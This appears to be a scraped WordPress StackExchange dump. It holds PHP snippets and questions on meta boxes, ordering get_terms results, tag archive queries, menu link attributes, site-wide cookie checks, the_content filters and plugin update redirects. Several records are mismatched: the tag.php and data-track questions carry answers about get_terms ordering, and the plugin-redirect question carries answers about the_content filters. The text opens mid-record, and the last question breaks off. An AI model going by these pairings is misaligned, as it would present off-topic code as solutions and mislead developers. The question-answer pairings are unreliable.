add_action( 'load-post.php', 'annframe_meta_boxes_setup' );
add_action( 'load-post-new.php', 'annframe_meta_boxes_setup' );
add_action( 'save_post', 'annframe_save_post_meta', 10, 2 );
function annframe_meta_boxes_setup() {
add_action( 'add_meta_boxes', 'annframe_add_meta_box' );
}
function annframe_add_meta_box() {
add_meta_box(
'featured_post', // Unique ID
__( 'Featured Post' ), // Title
'annframe_display_meta_box', // Callback function
'post', // Admin page (or post type)
'side', // Context
'high'
);
}
function annframe_display_meta_box( $post ) {
wp_nonce_field( basename( __FILE__ ), 'ann_meta_boxes_nonce' );
?>
<label for="meta-box-checkbox"><?php _e( 'Mark as featured'); ?></label>
<input type="checkbox" id="meta-box-checkbox" name="meta-box-checkbox" value="yes" <?php if ( get_post_meta( $post->ID, 'featured_post', true ) == 'yes' ) echo ' checked="checked"'; ?>>
<?php
}
// Save meta value.
function annframe_save_post_meta( $post_id, $post ) {
/* Verify the nonce before proceeding. */
if ( !isset( $_POST['ann_meta_boxes_nonce'] ) || !wp_verify_nonce( $_POST['ann_meta_boxes_nonce'], basename( __FILE__ ) ) )
return $post_id;
/* Get the post type object. */
$post_type = get_post_type_object( $post->post_type );
/* Check if the current user has permission to edit the post. */
if ( !current_user_can( $post_type->cap->edit_post, $post_id ) )
return $post_id;
$meta_box_checkbox_value = '';
if( isset( $_POST["meta-box-checkbox"] ) ) {
$meta_box_checkbox_value = $_POST["meta-box-checkbox"];
}
update_post_meta( $post_id, "featured_post", $meta_box_checkbox_value );
}
// add class.
function annframe_featured_class( $classes ) {
global $post;
if ( get_post_meta( $post->ID, 'featured_post' ) && get_post_meta( $post->ID, 'featured_post', true ) == 'yes' ) {
$classes[] = 'featured-post';
}
return $classes;
}
add_filter( 'post_class', 'annframe_featured_class' );
``` |
254,945 | <p>I want to get Terms by IDs with IDs order. But that doesn't working, WP automatically change the order.</p>
<p>My code-</p>
<pre><code>$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
) );
</code></pre>
<p>And result-</p>
<pre><code>(
[0] => WP_Term Object
(
[term_id] => 155
[name] => 10
[slug] => 10
[term_group] => 0
[term_taxonomy_id] => 155
[taxonomy] => ctc_sermon_series
[description] =>
[parent] => 0
[count] => 1
[filter] => raw
)
[1] => WP_Term Object
(
[term_id] => 159
[name] => 14
[slug] => 14
[term_group] => 0
[term_taxonomy_id] => 159
[taxonomy] => ctc_sermon_series
[description] =>
[parent] => 0
[count] => 1
[filter] => raw
)
[2] => WP_Term Object
(
[term_id] => 153
[name] => Name 8
[slug] => name-8
[term_group] => 0
[term_taxonomy_id] => 153
[taxonomy] => ctc_sermon_series
[description] => Name 8 Des
[parent] => 0
[count] => 1
[filter] => raw
)
[3] => WP_Term Object
(
[term_id] => 143
[name] => Series 1
[slug] => series-1
[term_group] => 0
[term_taxonomy_id] => 143
[taxonomy] => ctc_sermon_series
[description] => Series 1 Description
[parent] => 0
[count] => 3
[filter] => raw
)
)
</code></pre>
<p>I expect the result of term with ID-159 first, but every time i get result of ID-155 first. I need to get result by ID's array sequence.</p>
<p>Thanks in advance :)</p>
| [
{
"answer_id": 254956,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 1,
"selected": false,
"text": "<p>This might work for you thought i've not tested.</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'term_id',\n 'order' => 'DESC', // or ASC\n ) );\n</code></pre>\n"
},
{
"answer_id": 254959,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 5,
"selected": true,
"text": "<p>So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.</p>\n\n<p>Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'include', // <--- \n ) );\n</code></pre>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 409428,
"author": "White Shot",
"author_id": 218629,
"author_profile": "https://wordpress.stackexchange.com/users/218629",
"pm_score": 0,
"selected": false,
"text": "<p>Just use parametr 'fields'.</p>\n<pre><code>wp_get_post_terms($post_id, 'some_taxonomy', array('fields' => 'ids'))\n</code></pre>\n<p>Read this <a href=\"https://wp-kama.com/function/wp_get_post_terms\" rel=\"nofollow noreferrer\">https://wp-kama.com/function/wp_get_post_terms</a></p>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254945",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110431/"
]
| I want to get Terms by IDs with IDs order. But that doesn't working, WP automatically change the order.
My code-
```
$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
) );
```
And result-
```
(
[0] => WP_Term Object
(
[term_id] => 155
[name] => 10
[slug] => 10
[term_group] => 0
[term_taxonomy_id] => 155
[taxonomy] => ctc_sermon_series
[description] =>
[parent] => 0
[count] => 1
[filter] => raw
)
[1] => WP_Term Object
(
[term_id] => 159
[name] => 14
[slug] => 14
[term_group] => 0
[term_taxonomy_id] => 159
[taxonomy] => ctc_sermon_series
[description] =>
[parent] => 0
[count] => 1
[filter] => raw
)
[2] => WP_Term Object
(
[term_id] => 153
[name] => Name 8
[slug] => name-8
[term_group] => 0
[term_taxonomy_id] => 153
[taxonomy] => ctc_sermon_series
[description] => Name 8 Des
[parent] => 0
[count] => 1
[filter] => raw
)
[3] => WP_Term Object
(
[term_id] => 143
[name] => Series 1
[slug] => series-1
[term_group] => 0
[term_taxonomy_id] => 143
[taxonomy] => ctc_sermon_series
[description] => Series 1 Description
[parent] => 0
[count] => 3
[filter] => raw
)
)
```
I expect the result of term with ID-159 first, but every time i get result of ID-155 first. I need to get result by ID's array sequence.
Thanks in advance :) | So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.
Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:
```
$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
'orderby' => 'include', // <---
) );
```
Hope this helps! |
254,946 | <p>I created the tag.php page and when I click on a tag on the page of a post it takes me to the tag.php page with the URL of the tag, for example: / tag / wordpress-1 /.</p>
<p>I want to show all the posts of a the tags without having to set all of them. </p>
<p>'tag' => 'post_tag' did not work, it shows nothing on the page.</p>
<p>But when I set the tag. For example 'tag' => 'wordpress-1' it shows all posts with this tag, but I do not want to have to set all tags, I want it to be automatic.</p>
<pre><code><?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$args = array( 'post_type' => 'post', 'posts_per_page' => 9, 'paged' => $paged, 'tag' => 'post_tag' );
$wp_query = new WP_Query($args);
while ( have_posts() ) : the_post(); ?>
<div class="noticia-index">
<a href="<?php the_permalink(); ?>">
<?php $backgroundImg = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full' );?>
<div class="post-thumbnail" style="background: url('<?php echo $backgroundImg[0]; ?>'); background-size: cover; background-position: center;">
</div></a>
<div class="noticia-index-conteudo"><a href="<?php the_permalink(); ?>"><h2 class="noticia-titulo"><?php the_title(); ?></h2></a>
<div class="subtitulo-noticia"><?php the_excerpt(); ?></div>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/calendar1.svg" class="calendar"></span>
<span class="date"><?php echo get_the_date(); ?></span>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/clock1.svg" class="clock"></span>
<span class="time"><?php the_time(); ?></span>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/bubble2.png" class="bubble"></span>
<span class="disqus-comment-count comments" data-disqus-url="<?php the_permalink(); ?>#disqus_thread"></span>
<a class="leia-mais" href="<?php the_permalink(); ?> ">Leia mais...</a>
</div>
</div>
<?php endwhile; ?>
<!-- Links de paginação -->
<?php echo paginate_links( array(
'prev_text' => '<span>Anterior</span>',
'next_text' => '<span>Próxima</span>'
));
?>
</code></pre>
| [
{
"answer_id": 254956,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 1,
"selected": false,
"text": "<p>This might work for you thought i've not tested.</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'term_id',\n 'order' => 'DESC', // or ASC\n ) );\n</code></pre>\n"
},
{
"answer_id": 254959,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 5,
"selected": true,
"text": "<p>So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.</p>\n\n<p>Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'include', // <--- \n ) );\n</code></pre>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 409428,
"author": "White Shot",
"author_id": 218629,
"author_profile": "https://wordpress.stackexchange.com/users/218629",
"pm_score": 0,
"selected": false,
"text": "<p>Just use parametr 'fields'.</p>\n<pre><code>wp_get_post_terms($post_id, 'some_taxonomy', array('fields' => 'ids'))\n</code></pre>\n<p>Read this <a href=\"https://wp-kama.com/function/wp_get_post_terms\" rel=\"nofollow noreferrer\">https://wp-kama.com/function/wp_get_post_terms</a></p>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254946",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111513/"
]
| I created the tag.php page and when I click on a tag on the page of a post it takes me to the tag.php page with the URL of the tag, for example: / tag / wordpress-1 /.
I want to show all the posts of a the tags without having to set all of them.
'tag' => 'post\_tag' did not work, it shows nothing on the page.
But when I set the tag. For example 'tag' => 'wordpress-1' it shows all posts with this tag, but I do not want to have to set all tags, I want it to be automatic.
```
<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
$args = array( 'post_type' => 'post', 'posts_per_page' => 9, 'paged' => $paged, 'tag' => 'post_tag' );
$wp_query = new WP_Query($args);
while ( have_posts() ) : the_post(); ?>
<div class="noticia-index">
<a href="<?php the_permalink(); ?>">
<?php $backgroundImg = wp_get_attachment_image_src( get_post_thumbnail_id($post->ID), 'full' );?>
<div class="post-thumbnail" style="background: url('<?php echo $backgroundImg[0]; ?>'); background-size: cover; background-position: center;">
</div></a>
<div class="noticia-index-conteudo"><a href="<?php the_permalink(); ?>"><h2 class="noticia-titulo"><?php the_title(); ?></h2></a>
<div class="subtitulo-noticia"><?php the_excerpt(); ?></div>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/calendar1.svg" class="calendar"></span>
<span class="date"><?php echo get_the_date(); ?></span>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/clock1.svg" class="clock"></span>
<span class="time"><?php the_time(); ?></span>
<span><img src="<?php echo get_stylesheet_directory_uri(); ?>/img/icones/bubble2.png" class="bubble"></span>
<span class="disqus-comment-count comments" data-disqus-url="<?php the_permalink(); ?>#disqus_thread"></span>
<a class="leia-mais" href="<?php the_permalink(); ?> ">Leia mais...</a>
</div>
</div>
<?php endwhile; ?>
<!-- Links de paginação -->
<?php echo paginate_links( array(
'prev_text' => '<span>Anterior</span>',
'next_text' => '<span>Próxima</span>'
));
?>
``` | So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.
Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:
```
$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
'orderby' => 'include', // <---
) );
```
Hope this helps! |
254,949 | <p>Can anybody tell me how I can add a "data-track" tag to the links in my menu. When I go to the dashboard -> menus, I can add any custom HTML.</p>
<p>I would like it to go from this:</p>
<pre><code><a href="http://www.detailingwiki.org/articles/">Article index</a>
</code></pre>
<p>to this:</p>
<pre><code><a data-track="navigation|click|article-index" href="http://www.detailingwiki.org/articles/">Article index</a>
</code></pre>
<p>The first part of the code can always be the same (i.e. "data-track="navigation|click") the part at the end should copy the text from the link. In the example above that is "article-index", but it should just take whatever the text for the link is. (not sure if spaces are allowed....)</p>
<p>I haven't been able to do it myself, and I don't want to edit the core wordpress files.</p>
| [
{
"answer_id": 254956,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 1,
"selected": false,
"text": "<p>This might work for you thought i've not tested.</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'term_id',\n 'order' => 'DESC', // or ASC\n ) );\n</code></pre>\n"
},
{
"answer_id": 254959,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 5,
"selected": true,
"text": "<p>So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.</p>\n\n<p>Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:</p>\n\n<pre><code>$catsArray = array(159, 155, 143, 153, ......);\n$series = get_terms( array(\n 'taxonomy' => 'ctc_sermon_series',\n 'number' => 9,\n 'offset' => $offset,\n 'include' => $catsArray,\n 'hide_empty' => false, \n 'orderby' => 'include', // <--- \n ) );\n</code></pre>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 409428,
"author": "White Shot",
"author_id": 218629,
"author_profile": "https://wordpress.stackexchange.com/users/218629",
"pm_score": 0,
"selected": false,
"text": "<p>Just use parametr 'fields'.</p>\n<pre><code>wp_get_post_terms($post_id, 'some_taxonomy', array('fields' => 'ids'))\n</code></pre>\n<p>Read this <a href=\"https://wp-kama.com/function/wp_get_post_terms\" rel=\"nofollow noreferrer\">https://wp-kama.com/function/wp_get_post_terms</a></p>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254949",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112394/"
]
| Can anybody tell me how I can add a "data-track" tag to the links in my menu. When I go to the dashboard -> menus, I can add any custom HTML.
I would like it to go from this:
```
<a href="http://www.detailingwiki.org/articles/">Article index</a>
```
to this:
```
<a data-track="navigation|click|article-index" href="http://www.detailingwiki.org/articles/">Article index</a>
```
The first part of the code can always be the same (i.e. "data-track="navigation|click") the part at the end should copy the text from the link. In the example above that is "article-index", but it should just take whatever the text for the link is. (not sure if spaces are allowed....)
I haven't been able to do it myself, and I don't want to edit the core wordpress files. | So I believe the question is how to get the terms back in the order of the Ids you've provided - which might not be sorted ascending or descending, but a random order instead.
Surprisingly, I think there's a shortcut for that in WP - who knew? This, I believe, is what you want to use:
```
$catsArray = array(159, 155, 143, 153, ......);
$series = get_terms( array(
'taxonomy' => 'ctc_sermon_series',
'number' => 9,
'offset' => $offset,
'include' => $catsArray,
'hide_empty' => false,
'orderby' => 'include', // <---
) );
```
Hope this helps! |
254,950 | <p>I need to run a function on my Wordpress, on every page of the site you'll visit, on every device, and template used (PC, Tablet, Mobile, ...).</p>
<p>This function will check if a Cookie has been set. If yes, great, else, if you click a certain link, it will set that Cookie based on some parameters.</p>
| [
{
"answer_id": 254952,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 2,
"selected": false,
"text": "<p>Generally functions hooked with <code>init</code> action will be available on every page and posts with in WordPress. it will immediately fire upon WP load. so maybe something like below will work.</p>\n\n<pre><code>function ao_check_cookie() {\n //Your code here.\n}\nadd_action( 'init', 'ao_check_cookie' );\n</code></pre>\n"
},
{
"answer_id": 254998,
"author": "Gonzoarte",
"author_id": 112419,
"author_profile": "https://wordpress.stackexchange.com/users/112419",
"pm_score": 0,
"selected": false,
"text": "<p>You can use the <code>wp_head</code> filter to get it done. This way you do not have to process it at the admin pages in the back-end with the <code>init</code> hook as @Abdul Rehman suggested. </p>\n\n<p>Since you are dealing with cookies, make sure to add a low priority (i.e. 9) to ensure it is called at an early stage. </p>\n\n<pre><code>add_action('wp_head', 'my_cookie_check', 9);\nfunction my_cookie_check() {\n // Your logic\n}\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254950",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111037/"
]
| I need to run a function on my Wordpress, on every page of the site you'll visit, on every device, and template used (PC, Tablet, Mobile, ...).
This function will check if a Cookie has been set. If yes, great, else, if you click a certain link, it will set that Cookie based on some parameters. | Generally functions hooked with `init` action will be available on every page and posts with in WordPress. it will immediately fire upon WP load. so maybe something like below will work.
```
function ao_check_cookie() {
//Your code here.
}
add_action( 'init', 'ao_check_cookie' );
``` |
254,951 | <p>I want to use </p>
<pre><code>add_filter('the_content',...........)
</code></pre>
<p>however, I want that filter only to affect main post's content. See phseudo-example:</p>
<pre><code><html>
.......
<meta decsription>.....the_content...</meta>
.......
<left_widget>....the_content...</left_widget>
.......
<MAIN_POST>....the_content...</MAIN_POST> <----------------- I want only this to be affected
......
</code></pre>
<p>How to achieve? (of course, out-of-question is the category pages, where post_contents are listed)</p>
| [
{
"answer_id": 254954,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>This is quite simple, see code below.</p>\n\n<pre><code>add_filter( 'the_content', 'my_the_content_filter' );\nfunction my_the_content_filter( $content ){\n // If it is not page named debug, do nothing\n if( $GLOBALS['post']->post_name != 'debug' )\n return $content;\n\n // do actions...\n $content = 'my super cool new content';\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 254955,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": false,
"text": "<p><strong>This method doesn't work. I leave this answer only as reference.</strong></p>\n\n<p>If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:</p>\n\n<pre><code>add_filter( 'the_content', 'cyb_filter_content' );\nfunction cyb_filter_content( $content ) {\n\n if( is_main_query() ) {\n\n // Work with $content here\n\n }\n\n return $content;\n\n}\n</code></pre>\n\n<p>But this <strong>DOESN'T WORK. Why?</strong></p>\n\n<p><code>is_main_query()</code> does this:</p>\n\n<pre><code>function is_main_query() {\n global $wp_query;\n return $wp_query->is_main_query();\n}\n</code></pre>\n\n<p>So, it does not check if the query of the current loop is the main query, it checks if the global <code>$wp_query</code> object is the main query; and the global <code>$wp_query</code> object <strong>is always the main query</strong> unless it has been modified, which is something, let's say, unusual and often not recommended. So, <code>is_main_query()</code> returns <code>true</code> almost everywhere and everytime.</p>\n"
},
{
"answer_id": 254958,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 2,
"selected": false,
"text": "<p>Found solution <a href=\"https://wordpress.stackexchange.com/a/162787/33667\">here</a>, to use <code>in_the_loop()</code> (but read comment below my answer too):</p>\n\n<pre><code>add_filter( 'the_content', 'custom_content' );\n\nfunction custom_content( $content ) {\n if ( in_the_loop() ) {\n // ....\n }\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 255048,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>This is probably an impossible task. <code>the_content</code> and its friend <code>the_excerpt</code> lack context and it is just impossible to guess the context from looking at the various global variables as they might have been altered.</p>\n\n<p>Some themes provide actions to indicate that they are starting to output the post content but this is far from being standard.</p>\n\n<p>The only way to work with it is to assume other plugin and theme developers are smart and don't use <code>the_content</code> for anything which do not actually display the post content. (far fetched assumption)</p>\n"
},
{
"answer_id": 255864,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<h2>Problem</h2>\n\n<p>Hooking into <code>the_content</code> does not guarantee that we're in the loop.</p>\n\n<h2>Solution</h2>\n\n<p>Hook into <code>pre_get_posts</code> to exclude certain queries. Hook into the loop via <code>the_post</code> before hooking <code>the_content</code>.</p>\n\n<h2>Details</h2>\n\n<p>Add action to <code>pre_get_posts</code> to specifically see if the page is singular.</p>\n\n<pre><code>add_action( 'pre_get_posts', 'wpse_106269_pre_get_posts', 10, 1 );\nfunction wpse_106269_pre_get_posts( $query ) {\n if( is_singular() ) {\n add_action( 'the_post', 'wpse_106269_the_post', 10, 2 );\n }\n}\n</code></pre>\n\n<p>Add an action to <code>the_post</code>. This action hook is fired for each post when we're in <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\"><code>the loop</code></a>. Once we're in <code>the_post</code>, we know that we're in the loop, so we can add a filter to <code>the_content</code>.</p>\n\n<pre><code>function wpse_106269_the_post( $post, $query ) {\n remove_action( 'the_post', 'wpse_106269_the_post', 10, 2 ); \n add_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n}\n</code></pre>\n\n<p>To make sure that <code>the_content</code> filter is only fired in <code>the_post</code>, remove it so that it doesn't get fired in the future unless it's added again by <code>the_post</code> action hook.</p>\n\n<pre><code>function wpse_106269_the_content( $content ) {\n remove_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n //* Do something with $content\n return $content;\n}\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254951",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/33667/"
]
| I want to use
```
add_filter('the_content',...........)
```
however, I want that filter only to affect main post's content. See phseudo-example:
```
<html>
.......
<meta decsription>.....the_content...</meta>
.......
<left_widget>....the_content...</left_widget>
.......
<MAIN_POST>....the_content...</MAIN_POST> <----------------- I want only this to be affected
......
```
How to achieve? (of course, out-of-question is the category pages, where post\_contents are listed) | **This method doesn't work. I leave this answer only as reference.**
If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:
```
add_filter( 'the_content', 'cyb_filter_content' );
function cyb_filter_content( $content ) {
if( is_main_query() ) {
// Work with $content here
}
return $content;
}
```
But this **DOESN'T WORK. Why?**
`is_main_query()` does this:
```
function is_main_query() {
global $wp_query;
return $wp_query->is_main_query();
}
```
So, it does not check if the query of the current loop is the main query, it checks if the global `$wp_query` object is the main query; and the global `$wp_query` object **is always the main query** unless it has been modified, which is something, let's say, unusual and often not recommended. So, `is_main_query()` returns `true` almost everywhere and everytime. |
254,970 | <p>I am working on an update to a WordPress plugin with some major changes and need to explain these changes to the user after they update the plugin. I am able to redirect the user to a welcome page if they manually install the plugin as I can use the activation hook, but it doesn't work if they update the plugin from the WordPress Plugins page.</p>
<p>The current method I am using sets a transient in the activation hook:</p>
<pre><code>set_transient( '_abc_activation_redirect', true, 30 );
</code></pre>
<p>And then redirects the user if the transient is present:</p>
<pre><code>add_action( 'admin_init', 'abc_welcome_screen_do_activation_redirect' );
function abc_welcome_screen_do_activation_redirect() {
// Bail if no activation redirect
if ( ! get_transient( '_abc_activation_redirect' ) )
return;
// Delete the redirect transient
delete_transient( '_abc_activation_redirect' );
// Bail if activating from network, or bulk
if ( is_network_admin() || isset( $_GET['activate-multi'] ) )
return;
wp_safe_redirect( admin_url( 'index.php?page=abc-welcome-page' ) ); exit;
}
</code></pre>
<p>Is it possible to redirect the user to a welcome page after they update the plugin on the WordPress Plugins page? I haven't been able to find the answer to this anywhere!</p>
<p>Many thanks in advance!</p>
| [
{
"answer_id": 254954,
"author": "KAGG Design",
"author_id": 108721,
"author_profile": "https://wordpress.stackexchange.com/users/108721",
"pm_score": 1,
"selected": false,
"text": "<p>This is quite simple, see code below.</p>\n\n<pre><code>add_filter( 'the_content', 'my_the_content_filter' );\nfunction my_the_content_filter( $content ){\n // If it is not page named debug, do nothing\n if( $GLOBALS['post']->post_name != 'debug' )\n return $content;\n\n // do actions...\n $content = 'my super cool new content';\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 254955,
"author": "cybmeta",
"author_id": 37428,
"author_profile": "https://wordpress.stackexchange.com/users/37428",
"pm_score": 2,
"selected": false,
"text": "<p><strong>This method doesn't work. I leave this answer only as reference.</strong></p>\n\n<p>If I understand correctly, the easier way is to check if you are in the main query inside the filter's callback:</p>\n\n<pre><code>add_filter( 'the_content', 'cyb_filter_content' );\nfunction cyb_filter_content( $content ) {\n\n if( is_main_query() ) {\n\n // Work with $content here\n\n }\n\n return $content;\n\n}\n</code></pre>\n\n<p>But this <strong>DOESN'T WORK. Why?</strong></p>\n\n<p><code>is_main_query()</code> does this:</p>\n\n<pre><code>function is_main_query() {\n global $wp_query;\n return $wp_query->is_main_query();\n}\n</code></pre>\n\n<p>So, it does not check if the query of the current loop is the main query, it checks if the global <code>$wp_query</code> object is the main query; and the global <code>$wp_query</code> object <strong>is always the main query</strong> unless it has been modified, which is something, let's say, unusual and often not recommended. So, <code>is_main_query()</code> returns <code>true</code> almost everywhere and everytime.</p>\n"
},
{
"answer_id": 254958,
"author": "T.Todua",
"author_id": 33667,
"author_profile": "https://wordpress.stackexchange.com/users/33667",
"pm_score": 2,
"selected": false,
"text": "<p>Found solution <a href=\"https://wordpress.stackexchange.com/a/162787/33667\">here</a>, to use <code>in_the_loop()</code> (but read comment below my answer too):</p>\n\n<pre><code>add_filter( 'the_content', 'custom_content' );\n\nfunction custom_content( $content ) {\n if ( in_the_loop() ) {\n // ....\n }\n return $content;\n}\n</code></pre>\n"
},
{
"answer_id": 255048,
"author": "Mark Kaplun",
"author_id": 23970,
"author_profile": "https://wordpress.stackexchange.com/users/23970",
"pm_score": 0,
"selected": false,
"text": "<p>This is probably an impossible task. <code>the_content</code> and its friend <code>the_excerpt</code> lack context and it is just impossible to guess the context from looking at the various global variables as they might have been altered.</p>\n\n<p>Some themes provide actions to indicate that they are starting to output the post content but this is far from being standard.</p>\n\n<p>The only way to work with it is to assume other plugin and theme developers are smart and don't use <code>the_content</code> for anything which do not actually display the post content. (far fetched assumption)</p>\n"
},
{
"answer_id": 255864,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 1,
"selected": false,
"text": "<h2>Problem</h2>\n\n<p>Hooking into <code>the_content</code> does not guarantee that we're in the loop.</p>\n\n<h2>Solution</h2>\n\n<p>Hook into <code>pre_get_posts</code> to exclude certain queries. Hook into the loop via <code>the_post</code> before hooking <code>the_content</code>.</p>\n\n<h2>Details</h2>\n\n<p>Add action to <code>pre_get_posts</code> to specifically see if the page is singular.</p>\n\n<pre><code>add_action( 'pre_get_posts', 'wpse_106269_pre_get_posts', 10, 1 );\nfunction wpse_106269_pre_get_posts( $query ) {\n if( is_singular() ) {\n add_action( 'the_post', 'wpse_106269_the_post', 10, 2 );\n }\n}\n</code></pre>\n\n<p>Add an action to <code>the_post</code>. This action hook is fired for each post when we're in <a href=\"https://codex.wordpress.org/The_Loop\" rel=\"nofollow noreferrer\"><code>the loop</code></a>. Once we're in <code>the_post</code>, we know that we're in the loop, so we can add a filter to <code>the_content</code>.</p>\n\n<pre><code>function wpse_106269_the_post( $post, $query ) {\n remove_action( 'the_post', 'wpse_106269_the_post', 10, 2 ); \n add_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n}\n</code></pre>\n\n<p>To make sure that <code>the_content</code> filter is only fired in <code>the_post</code>, remove it so that it doesn't get fired in the future unless it's added again by <code>the_post</code> action hook.</p>\n\n<pre><code>function wpse_106269_the_content( $content ) {\n remove_filter( 'the_content', 'wpse_106269_the_content', 10, 1 );\n //* Do something with $content\n return $content;\n}\n</code></pre>\n"
}
]
| 2017/02/02 | [
"https://wordpress.stackexchange.com/questions/254970",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/60788/"
]
| I am working on an update to a WordPress plugin with some major changes and need to explain these changes to the user after they update the plugin. I am able to redirect the user to a welcome page if they manually install the plugin as I can use the activation hook, but it doesn't work if they update the plugin from the WordPress Plugins page.
The current method I am using sets a transient in the activation hook:
```
set_transient( '_abc_activation_redirect', true, 30 );
```
And then redirects the user if the transient is present:
```
add_action( 'admin_init', 'abc_welcome_screen_do_activation_redirect' );
function abc_welcome_screen_do_activation_redirect() {
// Bail if no activation redirect
if ( ! get_transient( '_abc_activation_redirect' ) )
return;
// Delete the redirect transient
delete_transient( '_abc_activation_redirect' );
// Bail if activating from network, or bulk
if ( is_network_admin() || isset( $_GET['activate-multi'] ) )
return;
wp_safe_redirect( admin_url( 'index.php?page=abc-welcome-page' ) ); exit;
}
```
